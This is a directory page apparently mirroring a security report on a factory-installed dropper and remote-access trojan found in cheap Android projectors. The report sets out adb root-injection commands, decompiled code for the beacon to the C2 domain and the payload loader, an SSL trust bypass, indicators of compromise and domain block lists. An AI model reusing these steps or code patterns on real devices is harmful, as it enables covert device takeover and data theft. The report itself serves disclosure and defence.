Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/kavan00/android-projector-c2-malware
Android安全嵌入式系统安全危害指标 (IOC) 管理物联网安全网络取证逆向工程恶意软件分析数字取证命令与控制威胁情报供应链安全固件分析
1824个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
GitHubkavan00/android-projector-c2-malware

Android-Projector-C2-Malware

对中国Beamer的C2网络的剖析 - SilentSDK-Analysis

查看仓库

Pre-installed C2 Infrastructure and RAT Payload on Android Projectors

Technical Analysis Report — Security Research


Affected Devices: Multiple Android projectors of beamer brands like the Nonete (e.g., Model HY260Pro) (likely also several projectors from Magcubic, Hotack, Huyukang and many more, as these companies distribute similar models and there are indications supporting this)
Chipset Platform: Allwinner H713 / sun50iw12p1 — potentially affects all devices on this platform
Analysis Period: April 11–17, 2026
Classification: Pre-installed Command-and-Control infrastructure with Remote Access Trojan payload


TL;DR

  • The Problem: Numerous cheap Android projectors (potentially brands like Magcubic, Hotack, etc., utilizing the Allwinner H713 chip), currently sold in massive quantities on Amazon, eBay, and AliExpress, are infected with malware straight from the factory (Supply Chain Attack, similar to the "BADBOX" cases).
  • The Mechanism: A seemingly harmless system app ("StoreOS") acts as a disguised dropper. It completely silently downloads a Stage-2-Dropper named "SilentSDK" in the background and installs it with maximum system privileges, which in turn installs a modular, plugin-based, architechture aware RAT & possibly phishing framework.
  • The Danger: The malware establishes a C2 connection to China (api.pixelpioneerss.com), extracts sensitive device IDs, and can download and execute arbitrary additional malicious code with root privileges at any time (chmod 777). Additionally, the devices feature open root backdoors.
  • Immediate Mitigation: The C2 domains (especially *.aodintech.com, api.pixelpioneerss.com, sta.smartinnovate.net) must be blocked at the network level. Affected users can only disable the malicious apps manually via ADB, as they are deeply embedded in the system.

Urgency Notice

The malware infrastructure documented in this report is pre-installed on Android projectors currently being sold in large quantities to end consumers on Amazon, eBay, and AliExpress. The affected devices span possibly multiple brand names (Hotack, Huyukang, Magcubic, Nonete, among others). Identical C2 infrastructure has been independently confirmed on other devices from the same manufacturer (see Section 13). The pattern matches the BADBOX cases.


Table of Contents

  1. Device Identification
  2. Investigation Workflow
  3. Root Access — Exploit Path
  4. C2 Server Response — Core Evidence
  5. Malware Ecosystem Overview
  6. StoreOS — Dropper Analysis (com.htc.storeos)
  7. EventUploadService — Telemetry (com.htc.eventuploadservice)
  8. ExpandSDK — Ad-Injection (com.htc.expandsdk)
  9. SilentSDK — Stage-2-Dropper Analysis (com.hotack.silentsdk)
  10. The Malware
  11. System Backdoors
  12. Network Forensics
  13. Device Spoofing (Build-Fingerprint Spoofing)
  14. External Confirmation
  15. Indicators of Compromise (IOCs)
  16. MITRE ATT&CK Mapping
  17. Immediate Mitigations
  18. Sources

Purchased Device: Amazon Link - Nonete Mini Beamer 4K 1080P


1. Device Identification

Note on scope: The Allwinner H713 chipset is built into numerous cheap Android projectors sold under changing brand names in the European market. The identical firmware base (h713_tuna_p3) and identical C2 operator (Shenzhen Aodin Technology) strongly suggest that all devices from this OEM contain the same infrastructure.


2. Investigation Workflow


3. Root Access — Exploit Path

Root access was achieved through a combination of three vulnerabilities:

  1. SELinux Permissive — Access violations are only logged, not blocked.
  2. World-writable /oem — The partition is mounted as FAT with fmask=0000.
  3. customer.prop loaded at boot — Overwrites system properties.```bash adb shell getenforce # Result: Permissive adb shell ls -la /oem/ # All files world-writable

adb shell 'echo "ro.debuggable=1" >> /oem/customer.prop' adb shell 'echo "service.adb.root=1" >> /oem/customer.prop' adb shell 'echo "ro.secure=0" >> /oem/customer.prop'

adb reboot && adb wait-for-device && adb root adb shell id

uid=0(root) gid=0(root) context=u:r:su:s0

root@kitploit:~
**影响:** 任何拥有物理访问权限的用户或同一网络上的攻击者(通过ADB,端口5555开放,无身份验证)均可获取完全 root 访问权限。

---

## 4. C2 服务器响应 — 核心证据

### 捕获的 HTTP 请求```http
POST /sign/app/list HTTP/1.1
chanId: HY260Pro_SpectraOS_TPYB
timestamp: 1775904428922
sign: [REDACTED]
Content-Type: application/json;charset=UTF-8
Content-Length: 184
Host: store-api.aodintech.com
Connection: Keep-Alive
Accept-Encoding: gzip
User-Agent: okhttp/5.0.0-alpha.12

服务器响应(从pcapng解码 - 表格)

gzip压缩的响应包含一个包含七个应用的JSON列表。其中六个是常规流媒体应用(YouTube、Netflix、迪士尼+、Prime Video、Chrome、BrowseHere)。第七个是SilentTools:

SilentTools 配置详情```json

{ "name": "SilentTools", "pkg": "com.hotack.silentsdk", "desc": "Special app", "icon": "http://cdn-store.aodintech.com/com.hotack.silentsdk/image/95630a5e-e05e-4dba-814a-cf2742585b39.png", "category": "htc", "zone": "Global", "developer": "htc", "isForce": true, "verCode": 4, "verName": "2509041614", "verDesc": "SilentSDK", "installType": 0, "appType": "apk", "reverseLen": 63995, "path": "W15UOdzUbX72/67VLbV2cMLetfnsudxCpedAqw2GjJ8pvLI56S0gTzrp4HaetoVK3PdHXvM9vw7g+F4eFGhHDNvARfeM38tkcqo7gOpulNCb1gKYE2rmjWa+6RdjhB84+g403UUicBfFf5vHDoOEgA==", "size": 2474873, "md5": "5df097591d6942bae4eff33a37c4e28f", "upDate": "2025-09-04", "isShow": false, "isSilentInstall": false, "isSilentUninstall": true, "isBootStartup": false, "launchType": 1, "launchParam": "com.hotack.silentsdk.MyService" }

root@kitploit:~
**标志解释:**

- `isShow: false` — 应用不会出现在商店界面中。
- `isForce: true` — 推测为强制操作(安装或更新)。
- `isSilentUninstall: true` — 可在无用户交互情况下卸载自身。
- `launchType: 1` — 自动启动后台服务。
- `launchParam: MyService` — 指向持久化服务的引用。
- `zone: "Global"` — 目标为全球所有设备。
- `reverseLen` — 恢复SilentSDK `.apk` 所需的字节长度。

### 加密下载路径

`path` 字段使用 AES-CBC 加密:

- **Key/IV:** `[REDACTED]` (AES-CBC, Raw) -> 设备的 ChannelID。
- **解密结果:**```text
http://cdn-store.aodintech.com/com.hotack.silentsdk/package/091acbf1-68b1-40f1-b9b7-7d4d6ae86880.bpp

注意: 文件扩展名 .bpp 很可能是用来绕过防火墙的,执行时会重命名为 .apk。在此捕获中,isSilentInstall 字段为 false。无法从反编译代码中明确重构 isForce: true 的确切语义。不能排除该值在服务器端被动态设置为 true 的可能性。


5. 恶意软件生态系统概览

该设备包含四个相互交互的系统应用,所有应用均使用 AOSP 测试密钥签名,并以 UID 1000(系统)运行:```text ┌──────────────┐ │ DEVICE BOOT │ └──────┬───────┘ ┌────────────────┼────────────────┐ ▼ ▼ ▼ ┌─────────────┐ ┌─────────────┐ ┌──────────────┐ │ StoreOS │ │ SilentSDK │ │ EventUpload │ │ DROPPER │ │ RAT │ │ HEARTBEAT │ └──────┬──────┘ └──────┬──────┘ └──────┬───────┘ ▼ ▼ ▼ store-api. api.pixel event-api. aodintech.com pioneerss.com aodintech.com

root@kitploit:~
   + ExpandSDK (Ad-Injection)
     → pb-api.aodintech.com
root@kitploit:~
---

## 6. StoreOS — 木马投放器分析

StoreOS 似乎是一个自动安装的应用商店;然而,它实际上充当了木马投放器(dropper)的功能。  
**包名:** `com.htc.storeos`  
**SHA-256:** `3476536a5c722b9e34c53abda766fb4869d5ebebfc9c8a8fd47fb7ecd5f025b9`  
**VirusTotal:** BitDefender: `Android.Riskware.TestKey.rB`

### 权限

| 权限 | 影响 |
|:---|:---|
| `INSTALL_PACKAGES` | 静默安装,无用户对话框 |
| `CLEAR_APP_USER_DATA` | 删除任意应用数据 |
| `MASTER_CLEAR` | 触发恢复出厂设置 |
| `WRITE_SECURE_SETTINGS` | 修改安全设置 |
| `DEVICE_POWER` | 设备电源管理 |
| `MANAGE_EXTERNAL_STORAGE` | 完全访问外部存储 |

### 安装链(来自反编译代码)

1. **BootReceiver** 启动 `CheckUpdateService`。
2. HTTP POST 至 `store-api.aodintech.com/sign/app/list`。
3. 服务器返回 `AppsData[]`,包含字段:`pkg`、`path`、`isForce`、`isShow`、`isSilentInstall`、`isSilentUninstall`、`launchType`、`launchParam`、`reverseLen`、`md5`。
4. `DownloadService` 从 CDN 获取 APK 文件(格式为 `.bpp`)。
5. **字节反转保护:** 在写入磁盘前,将前 `reverseLen` 个字节反转(反分析措施)。
6. 对下载的文件进行 MD5 校验。
7. 通过 `Runtime.getRuntime().exec("pm install -r " + filePath)` 进行安装。
8. `StartAppService` 根据 `launchParam` 启动已安装的应用。

### 字节反转机制 — 技术证明

**类:** `AbstractC2057b` — **方法:** `m4131f(String inputPath, int reverseLen, String outputPath)` -> JADX

该方法会反转每个下载 APK 的前 `reverseLen` 个字节。因此,截获的 `.bpp` 文件若未知具体的 `reverseLen` 值,则无法被识别或提取为有效的 APK。```java
// Simplified representation of the byte-reversal algorithm
// Original code: AbstractC2057b.m4131f()
int offset = fileSize % reverseLen;
if (fileSize - offset < reverseLen) {
    reverseLen = fileSize;
    offset = 0;
}
// 1. Copy offset bytes unchanged
// 2. Read reverseLen bytes and reverse them:
for (int head = 0, tail = readCount - 1; head < tail; ) {
    byte tmp = buffer[head];
    buffer[head] = buffer[tail];
    buffer[tail] = tmp;
    head++; tail--;
}
// 3. Copy the remaining bytes unchanged

下载路径中的调用 (Class RunnableC1595d, case 0):```java if (downInfo.getReverseLen() != 0) { String outputPath = inputPath.replace(".apk", "des.apk"); if (!AbstractC2057b.m4131f(inputPath, reverseLen, outputPath)) { // Error handling return; } downInfo.setFileSavePath(outputPath); } // Followed by MD5 verification and installation

root@kitploit:~
通过逆向这一机制,成功解码并分析了 SilentSDK APK。

### 地理定位(Geo-Targeting)

StoreOS 使用 `api.ipdatacloud.com/v2/query` 进行 IP 地理定位。`SpecialApps` 类包含 `continent` 和 `countryCode` 字段,支持按区域分发载荷。

---

## 7. EventUploadService — 遥测(Telemetry)

**包名:** `com.htc.eventuploadservice`  
**目标地址:** `http://event-api.aodintech.com/report`  
**间隔:** 每 5 分钟  

| 字段 | 示例值 | 隐私影响 |
|:---|:---|:---|
| `deviceId` | `[已脱敏]` | MAC 地址(个人身份信息) |
| `deviceSn` | `[已脱敏]` | 序列号(唯一标识) |
| `channel` | `HY260Pro_hy_TPYB` | 固件通道 |
| `version` | `Projector.20250422.152235` | 固件版本 |
| `model` | `NT10` | 设备型号 |
| `language` | `en_US` | 语言设置 |

传输通过 HTTP 明文进行,且未获得用户同意。MAC 地址和序列号使得设备可被精确识别和追踪。

---

## 8. ExpandSDK — 广告注入(Ad-Injection)

**包名:** `com.htc.expandsdk`  
**C2 服务器:** `pb-api.aodintech.com`、`euads-o.api.leiniao.com`

ExpandSDK 使用 TCL VastAd SDK 实现 VAST 视频广告,并能在屏幕任意位置渲染系统覆盖对话框(`SYSTEM_ALERT_WINDOW`)。配置中包含位置字段(`AdDialogX`、`AdDialogY`、`Width`、`High`、`Gravity`)以及合作伙伴标识符 `htk`(Hotack)。

ExpandSDK 独立于 SilentSDK 运行,作为独立的变现渠道。

---

## 9. SilentSDK — RAT 分析

**包名:** `com.hotack.silentsdk`  
**SHA-256(解码后):** `e5a193c31526a2194d04a2157321d490d68f9251fab1cbbd28c2580971396fb7`  
**MD5(解码后):** `5df097591d6942bae4eff33a37c4e28f`

### 清单分析(Manifest Analysis)

| 属性 | 值 | 含义 |
| :--- | :--- | :--- |
| `sharedUserId` | `android.uid.system` | 系统权限(UID 1000) |
| `usesCleartextTraffic` | `true` | 允许 HTTP 明文流量 |
| 启动器图标 | 用户不可见 | 在用户界面中隐藏 |
| `BootReceiver` | 优先级 999 | 在几乎所有其他应用之前启动 |
| `MyService` | exported, foreground | 持久后台服务 |
| `BootStartActivity` | `com.htc.bootstart` | 额外启动触发 |

### DEX 加壳与解密

原始 DEX 经过加壳:头部声明大小为 2,318,316 字节,但压缩文件仅包含 65,536 字节,且 Adler32 校验和无效。在破解 StoreOS 字节反转保护后,DEX 变为完全可读——文件大小与声明大小一致,并可提取出 16,241 个字符串。

### XOR 混淆 — 技术证明

所有与安全相关的字符串均在方法 `AbstractC0000a.m36g()` 中使用循环 XOR 密码进行混淆:```java
public static String m36g(byte[] data, byte[] key) {
    int i3 = 0, i4 = 0;
    while (i3 < data.length) {
        if (i4 >= key.length) i4 = 0;
        data[i3] = (byte) (data[i3] ^ key[i4]);
        i3++; i4++;
    }
    return new String(data);
}

已解密字符串

这只是已解密字符串的一部分。 MAC 收集流程揭示了一种刻意的权限绕过:当 WifiInfo.getMacAddress() 返回 Android 隐私保护假 MAC(02:00:00:00:00:00)时,恶意软件会退而通过 root shell 直接从 /sys/class/net/wlan0/address 读取真实硬件 MAC —— 这种行为在合法应用中从未见过。

感染生命周期 —— 分阶段解析

以下分析追踪了从应用启动到持久 C2 控制的完整执行链。类名称引用自 JADX 反混淆后的标识符。

阶段 1:初始化与锚定

MyApplication.java —— 入口点

Application.onCreate() 的重载是第一个执行的代码。它立即调用 C0561f.m1737c,传入 ApplicationContext,在任何 UI 渲染之前启动整个恶意软件机制。

AbstractC0577v.java —— 上下文

如果宿主应用不主动提供上下文,该类会使用深层系统反射(android.app.ActivityThread)自主窃取全局 ApplicationContext。这赋予 SDK 对文件、系统服务和包管理的完全访问权限,而无需依赖宿主应用。

C0578w.java —— Activity 生命周期观察器

注册为 ActivityLifecycleCallbacks 以监控每次用户交互:当前打开哪个屏幕,应用在前台还是后台。关键的是,它会重新启用被禁用的系统动画并操作 SoftInputMode 设置 —— 这是渲染不可见覆盖层(例如用于点击欺诈)的前提条件,以避免意外的键盘弹出引起用户警觉。

阶段 2:指纹采集与隐蔽

AbstractC0562g.java —— 僵尸 ID 生成

通过连接以下内容生成激进的设备指纹:随机 UUID + Build.BRAND + Build.MODEL + 物理 MAC 地址(通过 cat /sys/class/net/wlan0/address 收集,绕过 Android 隐私保护) + android_id + 时间戳。结果字符串经 MD5 哈希后存储为 adid —— 用于向 C2 服务器注册设备的永久僵尸 ID。

C0565j.java —— SSL 证书绕过

一个被操纵的 X509TrustManager,其验证方法(checkClientTrusted、checkServerTrusted)完全为空。这确保恶意软件盲目接受任何 SSL 证书,从而阻止 Android 安全机制阻断 C2 通信 —— 即使 C2 服务器被入侵或使用无效证书也不例外。```java // From AbstractC0000a.m41j() — TrustManager accepts ALL certificates TrustManager[] trustManagerArr = {new C0565j()}; SSLContext sslContext = SSLContext.getInstance("SSL"); sslContext.init(null, trustManagerArr, new SecureRandom()); ((HttpsURLConnection) conn).setSSLSocketFactory( sslContext.getSocketFactory() );

root@kitploit:~
如果发生SSL错误(`SSLException`),`f2664e` 将被设置为 `false`,此后所有请求将使用HTTP而非HTTPS。




#### 阶段三:载荷获取
 
**`C0566k.java` — 离线备用方案(嵌入式载荷)**
 
在联系网络之前,此类会检查APK内`assets/m17gawxG.java`是否已捆绑了载荷。如果找到,它会逐字节读取文件,并使用硬编码的XOR密钥(`m17gawxG`)进行解密。结果被写入一个可执行的`.temp`文件。这确保了即使在断网设备或C2服务器不可达的情况下,RAT仍能被激活。
 
**`RunnableC0569n.java` — 实时C2下载器**
 
如果离线备用方案失败,此类会组装一个包含Bot-ID、包名和Android版本的JSON信标,然后联系C2端点`api.pixelpioneerss.com`:
 
**步骤1 — 带随机路径的URL生成:**```java
// RunnableC0569n.m1760b()
String protocol = useHttps ? "https://" : "http://";
String domain = f2663d; // XOR-decrypted to "api.pixelpioneerss.com"
int length = random.nextInt(5) + 8; // 8-12 chars
char[] path = new char[length];
// At least one letter at a random position, rest: digits and letters
return protocol + domain + "/" + new String(path);
// e.g.: https://api.pixelpioneerss.com/aB3k9mP2s

第2步 — 信标载荷:```java JSONObject beacon = new JSONObject(); beacon.put("a", getDeviceFingerprint(context)); // Bot-ID (adid) beacon.put("b", appKey); // Campaign Key beacon.put("c", context.getPackageName()); // com.hotack.silentsdk beacon.put("d", currentVersion); // Payload Version beacon.put("f", Build.FINGERPRINT); // Build Fingerprint beacon.put("h", Build.VERSION.SDK_INT); // SDK Version

root@kitploit:~
**第3步 — AES加密与传输:**```java
// AbstractC0556a.m1728d() — AES-128-CBC Encryption
byte[] encrypted = AES_CBC_encrypt(json.getBytes());
// AbstractC0000a.m41j() — HTTP POST with Custom TrustManager
byte[] response = m41j(url, encrypted);
// Key and IV are appended in plaintext to the message

步骤4 — 处理服务器响应:```java JSONObject data = new JSONObject(response).getJSONObject("data"); String downloadUrl = data.getString("a"); // DEX Download URL String md5Hash = data.getString("b"); // MD5 for verification int version = data.getInt("c"); // Version number // → m1762a() downloads DEX, verifies Hash, executes

root@kitploit:~
下载器 (`AbstractC0000a.m37h`) 获取有效载荷,然后使用 root shell 通过 `chmod 777` 授予其完全执行权限。

所有 C2 请求都携带自定义 HTTP 标头 `a: 1003` — 该恶意软件家族的网络级特征。

#### 阶段 4:执行与控制

**`AbstractC0568m.java` — 暂存区域**

在设备文件系统上创建一个名为 **`TMRXwWJu3G5`** 的隐蔽目录,用于暂存所有下载的有效载荷。该类还包含方法 (`m1754e`),用于拦截物理按键事件 (`KeyEvent`),防止用户在恶意覆盖层活动时按下"返回"按钮。

**`C0561f.java` — 编排器**

将整个链条串联起来。它调用 `C0566k.m1746b` 中高度混淆的代码,该代码使用反射构建字符串 `"dalvik.system.DexClassLoader"` 并初始化它。然后强制 ClassLoader 加载并执行最终的有效载荷类:```
com.me.cash5.OoO0OOo

从此以后,动态加载的有效载荷在应用进程上下文(UID 1000 / System)中拥有完全控制权。

第五阶段:遥测、数据泄露与持久化

AbstractC0563h.java 与 C0558c.java — 遥测收集

每次模块加载、错误事件(例如下载失败)或覆盖层显示都会触发状态报告(代码如 "e6"、SSL 错误的 "e4" 等)。C0558c 运行一个专用的收集线程("burying_loop_s")来聚合这些事件。每隔 5 秒,它组装一个全面的 JSON 遥测数据包,包含 "d"(设备型号)、"e"(SDK 版本)、"c"(Android ID)等字段。

RunnableC0564i.java — 数据泄露器

获取遥测 JSON,使用 GZIPOutputStream 压缩(以阻碍流量分析),然后使用自定义 AES 加密——将动态密钥附加到密文后。生成的 GZIP-AES 数据包通过绕过 SSL 的 TrustManager 传输到专用的追踪服务器:``` bur.thedynamicleap.com

root@kitploit:~
这是一个**独立的C2域名**,与主域名`api.pixelpioneerss.com`分开,专门用于遥测数据外泄。

**`AbstractC0572q.java` & `RunnableC0560e.java` — 心跳与自修复**

持久化机制。`AbstractC0572q`在主线程上维护一个计时器。如果感染链的任何部分失败(例如,下载时无网络连接),它会触发`sendEmptyMessageDelayed(..., 60000L)`。正好60秒后,`RunnableC0560e`(作为后台工作线程)从头重启整个感染机制。这个循环无限重复,直到感染成功。

### 持久化与动态加载 — 总结

`RunnableC0569n`中的方法`m1762a()`实现了完整的有效载荷下载周期:

1. 从C2下载DEX文件。
2. 验证MD5哈希。
3. 将版本号保存到SharedPreferences。
4. 通过`DexClassLoader`或`Runtime.exec()`加载并执行DEX。
5. 出现错误时:增加SharedPreferences中的重试计数器,在13次失败尝试后暂停 — 然后60秒心跳重新启动周期。

## 9.1. 恶意软件有效载荷

在向C2服务器发送此请求后:```json
{
    "a":"1c1f2257b85a20a0eac07f992a283b3a", // Unique device fingerprint
    "b":"f101", //CampaignID injected in MyApplication.java
    "c":"com.hotack.silentsdk", //Package name
    "d":0, 
    "f":"c0:3a:4b:11:22:33", // Device MAC address
    "h":30, //Version
}

响应:```json { "code":"0000", "data":{ "a":"https://sta.smartinnovate.net/sdkfile/uploadfile/[FILE].jar?t=[TIMESTAMP]]&r=[STRING]&s=[STRING]", "b":"53e49c7bf3e93b57f8cbfc7fb9a65126", "c":6037, "d":3600000, "e":"103.124.165.222", "f":"India/Karnataka/Bengaluru", "g":false, "h":"", "i":"" }, "time":"1776365262249", "message":"" }

root@kitploit:~
---
## 10. 恶意软件

在成功获取并进一步分析载荷后,我在绕过大量自定义加密和混淆层后确定,该恶意软件采用了高度模块化的架构。它作为一个复杂的框架运行,能够动态下载、更新、重启以及主动删除插件以销毁取证证据。这些载荷以 root 权限执行。此外,代码揭示出将完整 WebView 覆盖到屏幕上的机制,这强烈表明其具备高级钓鱼能力。该恶意软件还展示了先进的目标定位和规避策略:它实施严格的地理围栏以攻击特定区域,分析 CPU 架构(区分 `arm64`、`armeabi`、`x86` 和 `mips`),并主动绕过 SSL 证书验证以确保其 C2 通信安全。鉴于强大的混淆手段需要漫长且持续的反向工程过程,我目前故意保持此摘要简洁。

## 11. 系统后门

### 11.1 隐藏的 `su` 二进制文件:`/system/bin/qw`

一个重命名为 `qw` 的 `su` 二进制文件(Koushikdutta Superuser,388 KB,静态链接,ARM 32位):```text
# /system/etc/init/qw.rc
service qw /system/bin/qw --daemon
    user root
    group root
    class core
  • 进程: PID 2409, UID 0 (root)
  • 套接字: /dev/com.koushikdutta.superuser.daemon/server (srwxrwxrwx)
  • TCP端口: 65528 (UID 0)

11.2 AOSP测试密钥作为平台签名密钥

平台签名证书是AOSP源码中公开包含的测试密钥(packages.xml中的证书索引0)。任何使用此密钥签名的应用都会自动获得设备上的系统权限。该密钥对所有Android开发者免费开放。

11.3 其他开放服务

10.4 dbgserver

/vendor/bin/dbgserver — 硬件寄存器I/O服务器,通过全局可写的设备/dev/hidtvreg (crwxrwxrwx)进行通信。


12. 网络取证

所有C2通信均通过未加密的HTTP进行。这使得中间人(MITM)攻击成为可能:同一网络上的攻击者可以操控应用列表并注入任意APK,这些APK随后将以系统权限安装。


13. 设备伪装

该设备伪装成Google的ADT-3 (Android TV开发者套件):

属性伪装值实际值

这种伪装可能是为了绕过Google Play认证检查。


14. 外部确认

独立分析

2026年1月,安全研究员Zane St. John发表了一篇关于携带完全相同的恶意软件基础设施的相同设备的分析。其发现在所有关键点上均吻合:C2端点、XOR混淆、AES-128-CBC协议、Campaign ID f101、SSL绕过以及chmod 777。Zane St. John分析的设备似乎已被SilentSDK感染,而我的设备在开箱即用状态下并非如此。Zane St. John分析中的端点也略有变化,表明可能存在端点轮换。此外,在他分析的情况下SilentSDK似乎是预装的,而在我的设备上,它似乎是aodintech发送触发信号后才下载并安装的。

来源: https://zanestjohn.com/blog/reing-with-claude-code

三份独立来源的哈希验证

来源MD5SHA-256

来自C2服务器分发的哈希、我们自己的解密以及外部分析的哈希完全相同——确认这是完全相同的恶意软件。 这证实了该恶意软件的广泛传播。

VirusTotal

StoreOS-APK:BitDefender检测到Android.Riskware.TestKey.rB;其他反病毒引擎均未触发警报。


15. 入侵指标(IOCs)

域名```text

api.pixelpioneerss.com # SilentSDK RAT C2 bur.thedynamicleap.com # SilentSDK Telemetry Exfiltration sta.smartinnovate.net # Payload Distribution store-api.aodintech.com # StoreOS App Distribution cdn-store.aodintech.com # APK Download CDN event-api.aodintech.com # Telemetry Exfiltration pb-api.aodintech.com # ExpandSDK Ad Injection ota.triplesai.com # OTA Updates api.ipdatacloud.com # IP Geolocation euads-o.api.leiniao.com # Secondary Ad Server

root@kitploit:~
### 网络签名```text
User-Agent: okhttp/5.0.0-alpha.12
HTTP-Header: a: 1003            # SilentSDK Signature
POST /sign/app/list             # StoreOS C2 Beacon
POST /report                    # EventUpload Telemetry

软件包与哈希值```text

com.hotack.silentsdk SHA-256: e5a193c31526a2194d04a2... com.htc.storeos SHA-256: 3476536a5c722b9e34c53a... com.htc.eventuploadservice com.htc.expandsdk

root@kitploit:~
### 文件系统```text
/system/bin/qw                                   # su Binary
/dev/com.koushikdutta.superuser.daemon/server    # su Socket
/oem/customer.prop                               # World-writable
/vendor/bin/dbgserver                             # HW-Debug
/dev/hidtvreg                                    # World-writable

SilentSDK 特定构件```text

assets/m17gawxG.java # Embedded fallback payload (XOR key: "m17gawxG") TMRXwWJu3G5/ # Covert staging directory for downloaded payloads com.me.cash5.OoO0OOo # Final dynamically-loaded payload class dalvik.system.DexClassLoader # Reflectively constructed to load payload

root@kitploit:~
---

## 16. MITRE ATT&CK 映射

| 技术 | ID | 证据 |
|:---|:---|:---|
| 供应链投毒 | T1195.002 | 出厂预装恶意软件 |
| 启动或登录自动启动执行 | T1547 | BootReceiver Priority 999 |
| 混淆文件或信息 | T1027 | XOR 字符串, DEX 打包, 嵌入的 XOR 加密资源 |
| 应用层协议 | T1071 | HTTP/HTTPS C2 |
| 动态数据交换 / Payload 注入 | T1055 | DexClassLoader, chmod 777 |
| 系统信息发现 | T1082 | 设备指纹识别, Bot-ID 生成 |
| 从本地系统获取数据 | T1005 | MAC, Serial, IMEI, android_id |
| 通过 C2 信道窃取数据 | T1041 | 周期性遥测到 `bur.thedynamicleap.com` |
| 伪装 | T1036 | .bpp 文件扩展名, ADT-3 欺骗 |
| Rootkit | T1014 | 隐藏的 su 二进制 |
| 输入捕获 | T1056 | 拦截 KeyEvent 以禁用返回键 |
| 指标清除 / 自删除 | T1070 | `isSilentUninstall: true` 功能 |
| 反射式代码加载 | T1620 | 反射式 DexClassLoader 实例化 |
| 系统窗口覆盖 | T1624 | 操作 SoftInputMode 实现不可见覆盖层 |

---

## 17. 立即缓解措施

### 针对受影响最终用户```bash
adb shell pm disable-user --user 0 com.hotack.silentsdk
adb shell pm disable-user --user 0 com.htc.storeos
adb shell pm disable-user --user 0 com.htc.eventuploadservice
adb shell pm disable-user --user 0 com.htc.expandsdk
adb shell pm disable-user --user 0 com.htc.htcotaupdate

网络级屏蔽```text

DNS blocking or firewall rules for:

store-api.aodintech.com cdn-store.aodintech.com sta.smartinnovate.net event-api.aodintech.com pb-api.aodintech.com api.pixelpioneerss.com bur.thedynamicleap.com ota.triplesai.com

root@kitploit:~
---

## 18. 来源

1. Zane St. John:“使用Claude Code逆向预装Android恶意软件”,2026年1月。https://zanestjohn.com/blog/reing-with-claude-code
2. BSI:“BSI警告物联网设备存在预装恶意软件”(BADBOX),2023年10月。
3. VirusTotal对StoreOS APK的分析。

---

**分析周期:** 2026年4月11日至17日

**免责声明**
仅供教育和研究目的。本报告“按原样”提供,用于提供有关网络安全威胁的信息。分析基于当前恶意软件生态系统的快照;由于逆向工程是一个持续过程,随着新数据的出现,研究结果可能会发生变化。

本报告是本着诚意并据我所知,基于对二进制数据和反编译源代码的分析编制的。由于高度混淆以及威胁的不断演变性质,这些发现代表了当前的研究状态。尽管证据强烈支持所得到的结论,但随着进一步的技术证据的揭示,这些结论可能会有所完善。
下载工具
PropertyValue
Brand NameNonete HY260Pro (model sold by multiple companies)
Internal Model NameNT10
SoCAllwinner sun50iw12p1 (ARM 32-bit)
Operating SystemSpectraOS (Android 11, Kernel 5.4.99)
Real Build FingerprintAllwinner/h713_tuna_p3/h713-tuna_p3:11
Spoofed Build FingerprintADT-3/adt3/adt3:11/RP1A.201005.006
SELinuxPermissive (no enforcement)
Platform Signing KeyPublic AOSP Test Key
OEM CertificateCN=蓝鲨, OU=www.bsh.me, C=CN
Firmware ChannelHY260Pro_SpectraOS_TPYB
StepActionResult
1Wireshark capture of network trafficHTTP traffic to store-api.aodintech.com
2Decoding of the gzip-compressed C2 response7 apps, including hidden "SilentTools"
3AES-CBC decryption of the download pathKey [REDACTED], URL to .bpp file
4Root exploit via /oem/customer.propuid=0(root) after property injection
5Forensic dump of /data, /oem, /systemAPKs, databases, configurations
6Static analysis of StoreOS DEXpm install -r -d, byte-reversal protection
7Reverse engineering the reverseLen mechanismUnderstanding of the anti-analysis protection
8Breaking the byte-reversal protectionDecrypted, analyzable SilentSDK DEX
9XOR decryption of SilentSDK stringsC2 domain api.pixelpioneerss.com confirmed
10Hash verification across three sourcesMD5/SHA-256 match perfectly
11Reverse engineering the malware download processServers still online
12Reverse engineering the malwarePlugin-based Rat Framework
AppPackageisShowisForceisSilent InstallisSilent Uninstalllaunch Type
YouTubecom.google.android.youtube.tvtruefalsefalsefalse0
Disney+com.disney.disneyplustruefalsefalsefalse0
Netflixcom.netflix.mediaclienttruefalsefalsefalse0
Chromecom.android.chrometruefalsefalsefalse0
Prime Videocom.amazon.amazonvideo.livingroomtruefalsefalsefalse0
BrowseHerecom.tcl.browsertruefalsefalsefalse0
SilentToolscom.hotack.silentsdkfalsetruefalsetrue1
混淆后的调用结果功能
m36g({-99,127,58,-103,...}, {-4,15,83,-73,...})api.pixelpioneerss.comC2 域名
m36g({7,-68}, {116,-44,...})sh用于 Runtime.exec() 的 Shell 二进制文件
m36g({-83,-92,-19,...}, {-50,-52,...})chmod 777Shell 命令
m36g({-47,-3,-68,106,-76}, {-1,-119,...}).temp下载的临时文件后缀
m36g({125,61,58,...}, {21,73,78,...})https://主协议
m36g({0,90,58,...}, {104,46,78,...})http://SSL 错误时的备用协议
m36g({-22,78,57}, {-71,29,117,...})SSLTLS 协议
m36g({-15}, {-112,...})a自定义头名称 → 值 1003
m36g({17,67,42}, {124,39,...})md5MessageDigest.getInstance("md5")
m36g({-15,90,-128,21}, {-122,51,...})wifigetSystemService("wifi")
m36g({-48,89,-25,-31,...}, {-73,60,...})getprop wifi.interfaceShell 备用:读取接口名称
m36g({-95,-26,-107,-91,...}, {-62,-121,...})cat /sys/class/net/Shell 备用:读取 MAC(前缀)
m36g({6,-88,45,-126,...}, {41,-55,...})/addressShell 备用:读取 MAC(后缀)
m36g({10,39,105,25,...}, {58,21,...})02:00:00:00:00:00Android 假 MAC 哨兵(API 23+)
端口UID描述
65528root (0)su守护进程
5555root (0)无认证的ADB
7889/7890system (1000)未知服务
10012/10013system (1000)工厂调试?
服务器端点功能
store-api.aodintech.comPOST /sign/app/list应用分发
sta.smartinnovate.netGET /*.jar载荷分发
cdn-store.aodintech.comGET /*.bppAPK下载
event-api.aodintech.comPOST /report遥测
